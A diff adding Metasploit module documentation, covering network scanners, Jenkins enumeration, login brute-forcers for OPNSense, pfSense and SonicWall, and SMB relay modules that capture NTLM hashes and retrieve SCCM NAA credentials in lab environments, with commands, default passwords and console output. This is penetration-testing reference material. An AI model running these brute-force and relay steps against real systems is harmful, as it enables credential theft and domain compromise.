|
||||
[*] Sending multicast pings...
|
||||
[*] Listening for responses...
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,22 @@
|
||||
## Description
|
||||
|
||||
Detect common UDP services using sequential probes.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/discovery/udp_probe`
|
||||
2. Do: `set RHOSTS [IP]`
|
||||
5. Do: `set THREADS [number of threads]`
|
||||
6. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/discovery/udp_probe) > use modules/auxiliary/scanner/discovery/udp_probe
|
||||
msf6 auxiliary(scanner/discovery/udp_probe) > set RHOSTS 10.0.3.5
|
||||
RHOSTS => 10.0.3.5
|
||||
msf6 auxiliary(scanner/discovery/udp_probe) > run
|
||||
[+] Discovered SNMP on 10.0.3.5:161 (Hardware: Intel64 Family 6 Model 142 Stepping 12 AT/AT COMPATIBLE - Software: Windows Version 6.1 (Build 7601 Multiprocessor Free))
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
## Description
|
||||
|
||||
This module identifies the existence of possible copies of a specific file in a given path.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `set RHOSTS <rhost>`
|
||||
3. `set RPORT <rport>`
|
||||
4. `set PATH <filepath>`
|
||||
5. `run`
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/http/copy_of_file) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(scanner/http/copy_of_file) > set PATH /search_a_copy.txt
|
||||
PATH => /search_a_copy.txt
|
||||
msf6 auxiliary(scanner/http/copy_of_file) > run
|
||||
[*] Using code '404' as not found.
|
||||
[+] [127.0.0.1] Found http://127.0.0.1:80/Copy_(1)_of_search_a_copy.txt [200]
|
||||
[*] Using code '404' as not found.
|
||||
[+] [127.0.0.1] Found http://127.0.0.1:80/Copy_(2)_of_search_a_copy.txt [200]
|
||||
[*] Using code '400' as not found.
|
||||
[*] Using code '404' as not found.
|
||||
[+] [127.0.0.1] Found http://127.0.0.1:80/Copy_of_search_a_copy.txt [200]
|
||||
[*] Using code '404' as not found.
|
||||
[*] Using code '404' as not found.
|
||||
[+] [127.0.0.1] Found http://127.0.0.1:80/Copysearch_a_copy.txt [200]
|
||||
[*] Using code '404' as not found.
|
||||
[+] [127.0.0.1] Found http://127.0.0.1:80/_search_a_copy.txt [200]
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
@@ -0,0 +1,72 @@
|
||||
# Jenkins Enumeration Auxiliary Module
|
||||
|
||||
## Vulnerable Application
|
||||
This module performs unauthenticated enumeration on Jenkins servers. It attempts to discover the Jenkins version, identify unauthenticated accessible endpoints, and gather useful system information when possible.
|
||||
|
||||
Jenkins servers that do not enforce strict authentication on certain URLs (such as `/script`) are susceptible to this enumeration. This module helps penetration testers quickly identify such information leakage.
|
||||
Jenkins instances may expose sensitive information through misconfigured endpoints. Many companies unintentionally leave URLs like /script and /manage open without authentication, allowing attackers to retrieve system details. If these endpoints return data, it’s a sign that authentication settings might need to be tightened.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
1. Start `msfconsole`
|
||||
2. Use the module: `use auxiliary/scanner/http/jenkins_enum`
|
||||
3. Set the target(s) and other options: `set RHOSTS <target IP or CIDR>`, `set RPORT 8080`, `set TARGETURI /jenkins/`, etc
|
||||
4. Run the module: `run`
|
||||
5. You might see output similar to:
|
||||
|
||||
```
|
||||
[+] 192.168.1.100:8080 - Jenkins Version: 2.319.1
|
||||
[+] 192.168.1.100:8080 - /script is accessible without authentication (HTTP 200)
|
||||
[+] 192.168.1.100:8080 - Enumerating plugins...
|
||||
[+] 192.168.1.100:8080 - Plugin detected: Git Plugin 4.11.3
|
||||
[+] 192.168.1.100:8080 - System Information:
|
||||
OS: Linux
|
||||
OS Version: 5.4.0-77-generic
|
||||
Architecture: amd64
|
||||
Jenkins Home: /var/lib/jenkins
|
||||
[*] 192.168.1.100:8080 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### RHOSTS
|
||||
Specifies the target host(s) or IP range to scan. You can input a single IP address, a range, or a CIDR subnet.
|
||||
Default: None (required)
|
||||
|
||||
### RPORT
|
||||
Defines the target port for HTTP connections. Jenkins often runs on port 8080, but the default for this module is 80. Adjust accordingly.
|
||||
Default: 80
|
||||
|
||||
### TARGETURI
|
||||
The base path of the Jenkins application on the target server. Usually /jenkins/ but can differ based on installation or proxy setup.
|
||||
Default: /jenkins/
|
||||
|
||||
### THREADS
|
||||
The number of concurrent threads to use for faster scanning. Increasing this number can speed up scans but may generate more network traffic or load on the target.
|
||||
Default: 1
|
||||
|
||||
### VHOST
|
||||
Specify a virtual host name for the HTTP Host header if Jenkins is running behind a virtual host or reverse proxy.
|
||||
Default: None
|
||||
|
||||
## Scenarios
|
||||
This example demonstrates how to use the jenkins_enum module to enumerate information from a Jenkins server running on the local network at IP 192.168.1.100 on port 8080, where Jenkins is installed at the default /jenkins/ path.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/jenkins_enum
|
||||
msf6 auxiliary(scanner/http/jenkins_enum) > set RHOSTS 192.168.1.100
|
||||
msf6 auxiliary(scanner/http/jenkins_enum) > set RPORT 8080
|
||||
msf6 auxiliary(scanner/http/jenkins_enum) > set TARGETURI /jenkins/
|
||||
msf6 auxiliary(scanner/http/jenkins_enum) > run
|
||||
|
||||
[*] 192.168.1.100:8080 - Jenkins Version: 2.319.1
|
||||
[+] 192.168.1.100:8080 - /script is accessible without authentication (HTTP 200)
|
||||
[*] 192.168.1.100:8080 - Enumerating plugins...
|
||||
[+] 192.168.1.100:8080 - Plugin detected: Git Plugin 4.11.3
|
||||
[+] 192.168.1.100:8080 - Plugin detected: Matrix Authorization Strategy 2.6.7
|
||||
[+] 192.168.1.100:8080 - Plugin detected: Workflow CPS 2.92
|
||||
[*] 192.168.1.100:8080 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
The module retrieves the Jenkins version and installed plugins without requiring credentials, which can help identify vulnerable plugin versions or configuration weaknesses.
|
||||
@@ -0,0 +1,111 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to bruteforce credentials for OPNSense.
|
||||
|
||||
This module was specifically tested on version 25.1 and 21.1, with older versions being unavailable from OPNSense mirrors.
|
||||
|
||||
Note:
|
||||
|
||||
By default, OPNSense comes with a built-in account named `root` with the password being `opnsense`.
|
||||
|
||||
When performing too many login attempts, OPNSense will drop all packets coming from your IP, until the router is either:
|
||||
- Restarted
|
||||
- An anti-lockout rule is added
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Set up an OPNSense VM or target a real installation
|
||||
1. Start `bundle exec ./msfconsole -q`
|
||||
1. `use auxiliary/scanner/http/opnsense_login`
|
||||
1. `set ssl true`
|
||||
1. `set pass_file ...`
|
||||
1. `set user_file ...`
|
||||
1. `run`
|
||||
1. or, using some example inline options:
|
||||
```
|
||||
run pass_file=data/wordlists/default_pass_for_services_unhash.txt \
|
||||
user_file=data/wordlists/default_pass_for_services_unhash.txt \
|
||||
STOP_ON_SUCCESS=true SSL=true rport=443
|
||||
```
|
||||
1. Verify you get a login:
|
||||
```
|
||||
[+] 192.168.207.158:443 - Login Successful: root:opnsense
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### BLANK_PASSWORD
|
||||
|
||||
Set to `true` if an additional login attempt should be made with an empty password for every user.
|
||||
|
||||
### BRUTEFORCE_SPEED
|
||||
|
||||
How fast to bruteforce, from 0 to 5
|
||||
|
||||
### PASSWORD
|
||||
|
||||
A specific password to authenticate with
|
||||
|
||||
### PASS_FILE
|
||||
|
||||
File containing passwords, one per line
|
||||
|
||||
### STOP_ON_SUCCESS
|
||||
|
||||
Stop guessing when a credential works for a host
|
||||
|
||||
### THREADS
|
||||
|
||||
The number of concurrent threads (max one per host)
|
||||
|
||||
### USERPASS_FILE
|
||||
|
||||
File containing users and passwords separated by space, one pair per line
|
||||
|
||||
### USER_FILE
|
||||
|
||||
File containing usernames, one per line
|
||||
|
||||
### VERBOSE
|
||||
|
||||
Whether to print output for all attempts
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 auxiliary(scanner/http/opnsense_login) > options
|
||||
|
||||
Module options (auxiliary/scanner/http/opnsense_login):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
|
||||
BLANK_PASSWORDS false no Try blank passwords for all users
|
||||
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
|
||||
DB_ALL_CREDS false no Try each user/password couple stored in the current database
|
||||
DB_ALL_PASS false no Add all passwords in the current database to the list
|
||||
DB_ALL_USERS false no Add all users in the current database to the list
|
||||
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
|
||||
PASSWORD opnsense no A specific password to authenticate with
|
||||
PASS_FILE no File containing passwords, one per line
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.207.161 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true yes Negotiate SSL/TLS for outgoing connections
|
||||
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
|
||||
TARGETURI / yes The base path to the OPNSense application
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
USERNAME root no A specific username to authenticate as
|
||||
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
|
||||
USER_AS_PASS false no Try the username as the password for all users
|
||||
USER_FILE no File containing usernames, one per line
|
||||
VERBOSE true yes Whether to print output for all attempts
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(scanner/http/opnsense_login) > run
|
||||
[+] 192.168.207.161:443 - Login Successful: root:opnsense
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,106 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to bruteforce credentials for pfSense.
|
||||
|
||||
This module was specifically tested on version 2.7.2:
|
||||
|
||||
**2.7.2 Download**
|
||||
|
||||
https://atxfiles.netgate.com/mirror/downloads/
|
||||
|
||||
Note:
|
||||
|
||||
By default, pfSense comes with a built-in account named ```admin``` with the password being ```pfsense```.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Set up a pfSense VM using the steps above or target a real installation
|
||||
1. Start `bundle exec ./msfconsole -q`
|
||||
1. `use auxiliary/scanner/http/pfsense_login`
|
||||
1. `set ssl true`
|
||||
1. `set pass_file ...`
|
||||
1. `set user_file ...`
|
||||
1. `run`
|
||||
1. or, using some example inline options: `run pass_file=data/wordlists/default_pass_for_services_unhash.txt user_file=data/wordlists/default_pass_for_services_unhash.txt STOP_ON_SUCCESS=true SSL=true rport=443`
|
||||
1. Verify you get a login:
|
||||
```
|
||||
[+] 192.168.207.158:443 - Login Successful: admin:pfsense
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### BLANK_PASSWORD
|
||||
|
||||
Set to `true` if an additional login attempt should be made with an empty password for every user.
|
||||
|
||||
### BRUTEFORCE_SPEED
|
||||
|
||||
How fast to bruteforce, from 0 to 5
|
||||
|
||||
### PASSWORD
|
||||
|
||||
A specific password to authenticate with
|
||||
|
||||
### PASS_FILE
|
||||
|
||||
File containing passwords, one per line
|
||||
|
||||
### STOP_ON_SUCCESS
|
||||
|
||||
Stop guessing when a credential works for a host
|
||||
|
||||
### THREADS
|
||||
|
||||
The number of concurrent threads (max one per host)
|
||||
|
||||
### USERPASS_FILE
|
||||
|
||||
File containing users and passwords separated by space, one pair per line
|
||||
|
||||
### USER_FILE
|
||||
|
||||
File containing usernames, one per line
|
||||
|
||||
### VERBOSE
|
||||
|
||||
Whether to print output for all attempts
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 auxiliary(scanner/http/pfsense_login) > options
|
||||
|
||||
Module options (auxiliary/scanner/http/pfsense_login):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
|
||||
BLANK_PASSWORDS false no Try blank passwords for all users
|
||||
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
|
||||
DB_ALL_CREDS false no Try each user/password couple stored in the current database
|
||||
DB_ALL_PASS false no Add all passwords in the current database to the list
|
||||
DB_ALL_USERS false no Add all users in the current database to the list
|
||||
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
|
||||
PASSWORD pfsense no A specific password to authenticate with
|
||||
PASS_FILE no File containing passwords, one per line
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.207.158 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
|
||||
TARGETURI / yes The base path to the pfSense application
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
USERNAME admin no A specific username to authenticate as
|
||||
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
|
||||
USER_AS_PASS false no Try the username as the password for all users
|
||||
USER_FILE no File containing usernames, one per line
|
||||
VERBOSE true yes Whether to print output for all attempts
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(scanner/http/pfsense_login) > run
|
||||
[+] 192.168.207.158:443 - Login Successful: admin:pfsense
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
+1
-1
@@ -9,7 +9,7 @@ It allows to attack both regular user and admin as well - you can select which t
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/scanner/ivanti/login_scanner`
|
||||
1. `use auxiliary/scanner/ivanti/ivanti_login`
|
||||
2. `set RHOSTS [IP]`
|
||||
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
|
||||
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
|
||||
@@ -0,0 +1,19 @@
|
||||
## Description
|
||||
|
||||
The module will perform a bruteforce attack against SonicWall NSv (Network Security Virtual).
|
||||
It allows attacking both regular SSLVPN users and as well as admins. The module will automatically target SSLVPN users if the `DOMAIN` parameter is not empty.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
- [SonicWall](https://www.sonicwall.com/resources/trials-landing/sonicwall-nsv-next-gen-virtual-firewall-trial)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/scanner/sonicwall/sonicwall_login`
|
||||
2. `set RHOSTS [IP]`
|
||||
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
|
||||
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
|
||||
5. `set DOMAIN [domain to attack/empty string to attack admin account]`
|
||||
6. `run`
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@ on a given template.
|
||||
* See https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/overview.html#setting-up-a-esc8-vulnerable-host
|
||||
2. Start `msfconsole`
|
||||
2. Do: `use auxiliary/server/relay/esc8`
|
||||
3. Set the `RELAY_TARGETS` option to the AD CS Web Enrollment server
|
||||
3. Set the `RHOSTS` option to the AD CS Web Enrollment server
|
||||
4. Run the module and wait for a request to be relayed
|
||||
|
||||
## Options
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
## Description
|
||||
This module creates an SMB server and then relays the credentials passed to it to SCCM's HTTP server (aka Management Point)
|
||||
to gain an authenticated connection. Once authenticated it then attempts to retrieve the Network Access Account(s),
|
||||
if configured, from the SCCM server. This requires a computer account, which can be added using the samr_account module.
|
||||
|
||||
This module is essentially the `get_naa_credential` module with relaying capability.
|
||||
|
||||
The NAA account is used by some SCCM configurations in the policy deployment process. It does not require many privileges, but
|
||||
in practice is often misconfigured to have excessive privileges.
|
||||
|
||||
The account can be retrieved in various ways, many requiring local administrative privileges on an existing host. However,
|
||||
it can also be requested by an existing computer account, which by default most user accounts are able to create.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
This module can be tested using the GOAD environment. Setup instructions can be found here:
|
||||
https://github.com/Orange-Cyberdefense/GOAD
|
||||
|
||||
## Module usage
|
||||
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
|
||||
|
||||
1. From msfconsole
|
||||
1. Do: `use auxiliary/admin/dcerpc/samr_account`
|
||||
1. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically
|
||||
b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option
|
||||
c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option
|
||||
1. Run the module and see that a new machine account was added
|
||||
|
||||
Then use `ldap_query` to determine the `MANAGEMENT_POINT` and `SITE_CODE` values.
|
||||
|
||||
1. Do: `use gather/ldap_query`
|
||||
1. Set: `DOMAIN` `RHOSTS` `USERNAME` `PASSWORD` `ACTION=RUN_SINGLE_QUERY` `QUERY_FILTER=(objectclass=mssmsmanagementpoint)` and `QUERY_ATTRIBUTES=cn,dnshostname,mssmssitecode`
|
||||
1. Run the module and note the `dnshostname` and `mssmssitecode` values
|
||||
|
||||
|
||||
Then the `auxiliary/server/relay/relay_get_naa_credentials` module can be used:
|
||||
|
||||
1. `use server/relay/relay_get_naa_credentials`
|
||||
1. Set the `MANAGEMENT_POINT`, `SITE_CODE`
|
||||
1. Run the module to obtain the NAA credentials, if present.
|
||||
|
||||
The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action.
|
||||
|
||||
See the Scenarios for a more detailed walk through
|
||||
|
||||
## Options
|
||||
|
||||
### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST
|
||||
Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery.
|
||||
|
||||
### MANAGEMENT_POINT
|
||||
The SCCM server.
|
||||
|
||||
### SITE_CODE
|
||||
The Site Code of the management point.
|
||||
|
||||
### TIMEOUT
|
||||
The number of seconds to wait for SCCM DB to update
|
||||
|
||||
## Scenarios
|
||||
In the following example the user `ssccm.lab\eve` is a low-privilege user.
|
||||
|
||||
### Creating computer account
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm.lab username=eve password=iloveyou
|
||||
[*] Running module against 192.168.33.10
|
||||
|
||||
[*] 192.168.33.10:445 - Adding computer
|
||||
[+] 192.168.33.10:445 - Successfully created sccm.lab\DESKTOP-5FJM1832$
|
||||
[+] 192.168.33.10:445 - Password: JpnYZ43YHqmoOLj9xBKdI9tVFgDXtfsu
|
||||
[+] 192.168.33.10:445 - SID: S-1-5-21-3875312677-2561575051-1173664991-1128
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Manual discovery of SITE_CODE and MANAGEMENT_POINT using domain credentials
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/ldap_query) > run domain=sccm.lab rhosts=192.168.56.10 username=eve password=iloveyou action=RUN_SINGLE_QUERY QUERY_FILTER=(objectclass=mssmsmanagementpoint) QUERY_ATTRIBUTES=cn,dnshostname,mssmssitecode
|
||||
[*] Running module against 192.168.56.10
|
||||
[*] 192.168.56.10:389 Discovered base DN: DC=sccm,DC=lab
|
||||
[*] Sending single query (objectclass=mssmsmanagementpoint) to the LDAP server...
|
||||
CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab
|
||||
=========================================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
cn SMS-MP-P01-MECM.SCCM.LAB
|
||||
dnshostname MECM.sccm.lab
|
||||
mssmssitecode P01
|
||||
|
||||
[*] Query returned 1 result.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Initiating SMB authentication from a Windows Host
|
||||
Currently the SMB auth attempt must originate from a Windows Host, see: https://github.com/rapid7/metasploit-framework/issues/19951
|
||||
```
|
||||
net use \\192.168.56.1\foo /u:SCCM.LAB\DESKTOP-5FJM1832$ JpnYZ43YHqmoOLj9xBKdI9tVFgDXtfsu
|
||||
```
|
||||
|
||||
### Running the module
|
||||
```
|
||||
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > msf6 exploit(windows/local/cve_2024_35250_ks_driver) > use relay_get
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 auxiliary/server/relay/relay_get_naa_credentials . normal Yes SMB to HTTP relay version of Get NAA Creds
|
||||
|
||||
|
||||
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/server/relay/relay_get_naa_credentials
|
||||
|
||||
[*] Using auxiliary/server/relay/relay_get_naa_credentials
|
||||
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
|
||||
msf6 auxiliary(server/relay/relay_get_naa_credentials) > dns add-static mecm.sccm.lab 192.168.56.11
|
||||
[*] Added static hostname mapping mecm.sccm.lab to 192.168.56.11
|
||||
msf6 auxiliary(server/relay/relay_get_naa_credentials) > run rhost=192.168.56.11 smbdomain=sccm.lab MANAGEMENT_POINT=MECM.sccm.lab SITE_CODE=P01
|
||||
[*] Auxiliary module running as background job 0.
|
||||
|
||||
[*] Checking endpoint on http://192.168.56.11:80/ccm_system_windowsauth/request
|
||||
msf6 auxiliary(server/relay/relay_get_naa_credentials) > [*] SMB Server is running. Listening on 0.0.0.0:445
|
||||
[*] Server started.
|
||||
[*] New request from 192.168.56.1
|
||||
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
|
||||
[*] Relaying to next target http://192.168.56.11:80/ccm_system_windowsauth/request
|
||||
[+] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - Successfully authenticated against relay target http://192.168.56.11:80/ccm_system_windowsauth/request
|
||||
[SMB] NTLMv2-SSP Client : 192.168.56.11
|
||||
[SMB] NTLMv2-SSP Username : SCCM.LAB\DESKTOP-5FJM1832$
|
||||
[SMB] NTLMv2-SSP Hash : DESKTOP-5FJM1832$::SCCM.LAB:42465e4768dcb113:c5248825d2326b730a23ff5986cc36d8:0101000000000000662037ebd78edb01344978b20c2f7baa0000000002000e005300430043004d004c0041004200010008004d00450043004d00040010007300630063006d002e006c006100620003001a004d00450043004d002e007300630063006d002e006c0061006200050010007300630063006d002e006c006100620007000800662037ebd78edb01060004000200000008003000300000000000000001000000002000002cd075c2fac7f6ea5a6a290f03ae2e6476afc69a4e85c3e91bab8a5ac0d7603e0a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e00350036002e0031000000000000000000
|
||||
|
||||
[+] This your capitan speaking we've reached the on_relay_success method :)
|
||||
[*] Got SMS ID: D61057A2-0B02-40B3-9ADC-F349BA5EC8C2
|
||||
[*] Waiting 10 seconds for SCCM DB to update...
|
||||
[*] Found policy containing secrets: http://<mp>/SMS_MP/.sms_pol?{e98163c7-7b3a-4c3d-bb69-2b398c492290}.2_00
|
||||
[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789
|
||||
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
|
||||
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
|
||||
[*] New request from 192.168.56.1
|
||||
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
|
||||
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
|
||||
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
|
||||
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
|
||||
[*] Received request for SCCM.LAB\DESKTOP-5FJM1832$
|
||||
[*] Identity: SCCM.LAB\DESKTOP-5FJM1832$ - All targets relayed to
|
||||
```
|
||||
@@ -0,0 +1,314 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module supports running an SMB server which validates credentials, and
|
||||
then attempts to execute a relay attack against an LDAP server on the
|
||||
configured RHOSTS hosts.
|
||||
|
||||
It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check
|
||||
(MIC). As a result, this will only work with NTLMv1. The module takes care of
|
||||
removing the relevant flags to bypass signing.
|
||||
|
||||
If the relay succeeds, an LDAP session to the target will be created. This can
|
||||
be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or
|
||||
`auxiliary/gather/ldap_query`.
|
||||
|
||||
Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.
|
||||
SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Lab setup
|
||||
You will need a Domain Controller and a Domain-joined host:
|
||||
|
||||
Domain Computer <-> Metasploit framework <-> Domain Controller
|
||||
|
||||
Where:
|
||||
|
||||
- Domain name: NEWLAB.local
|
||||
- VICTIM (Domain Computer) = 192.168.232.111
|
||||
- msfconsole = 192.168.232.3
|
||||
- DC01 (Domain Controller) = 192.168.232.110
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
A("VICTIM (Domain Computer) - 192.168.232.111")
|
||||
subgraph metasploit[" msfconsole - 192.168.232.3 "]
|
||||
subgraph inside [ ]
|
||||
direction TB
|
||||
style inside margin-top: 0
|
||||
style inside stroke: none
|
||||
|
||||
B("smb_to_ldap")
|
||||
database[(Database)]
|
||||
|
||||
B -->|"report_ntlm_type3(...)"| database
|
||||
end
|
||||
end
|
||||
C("DC01 (Domain Controller) - 192.168.232.110")
|
||||
|
||||
A <-->|SMB 445| metasploit
|
||||
metasploit <-->|"ldap session (TCP/389)"| C
|
||||
```
|
||||
|
||||
The Domain Computer will need to be configured to use NTLMv1 by setting the
|
||||
following registry key to a value less or equal to 2:
|
||||
|
||||
```
|
||||
PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f
|
||||
```
|
||||
|
||||
```
|
||||
PS > reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel
|
||||
|
||||
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
|
||||
LmCompatibilityLevel REG_DWORD 0x2
|
||||
```
|
||||
|
||||
Finally run the relay server on msfconsole, setting the `RHOSTS` option
|
||||
to the Domain Controller IP address.
|
||||
|
||||
```
|
||||
run verbose=true RHOSTS=192.168.232.110
|
||||
```
|
||||
|
||||
You will have to coerce the Domain Computer and force it to authenticate to the
|
||||
msfconsole server (see an example below).
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### RHOSTS
|
||||
|
||||
Target address range or CIDR identifier to relay to.
|
||||
|
||||
### CAINPWFILE
|
||||
|
||||
A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 Hashes.
|
||||
|
||||
### JOHNPWFILE
|
||||
|
||||
A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes
|
||||
will be stored in separate files.
|
||||
I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv2`.
|
||||
|
||||
### RELAY_TIMEOUT
|
||||
|
||||
Seconds that the relay socket will wait for a response after the client has
|
||||
initiated communication (default 25 sec.).
|
||||
|
||||
### SMBDomain
|
||||
|
||||
The domain name used during SMB exchange.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Start the relay server
|
||||
```
|
||||
msf6 > use auxiliary/server/relay/smb_to_ldap
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) > run verbose=true RHOSTS=192.168.232.110
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) >
|
||||
[*] SMB Server is running. Listening on 0.0.0.0:445
|
||||
[*] Server started.
|
||||
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) > _servicemanager
|
||||
Services
|
||||
========
|
||||
|
||||
Id Name References
|
||||
-- ---- ----------
|
||||
0 Msf::Exploit::Remote::SMB::RelayServer::SMBRelayServer0.0.0.0445 2
|
||||
1 SMB Relay Server 2
|
||||
```
|
||||
|
||||
### Net use example
|
||||
A simple test would be using the Windows `net use` command:
|
||||
|
||||
```
|
||||
net use \\192.168.232.3\foo /u:Administrator 123456
|
||||
```
|
||||
|
||||
msfconsole output:
|
||||
|
||||
```
|
||||
[*] New request from 192.168.232.111
|
||||
[*] Received request for \Administrator
|
||||
[*] Relaying to next target ldap://192.168.232.110:389
|
||||
[+] Identity: \Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
|
||||
[+] Relay succeeded
|
||||
[*] LDAP session 1 opened (192.168.232.3:45007 -> 192.168.232.110:389) at 2025-01-23 20:39:45 +0100
|
||||
[*] Received request for \Administrator
|
||||
[*] Identity: \Administrator - All targets relayed to
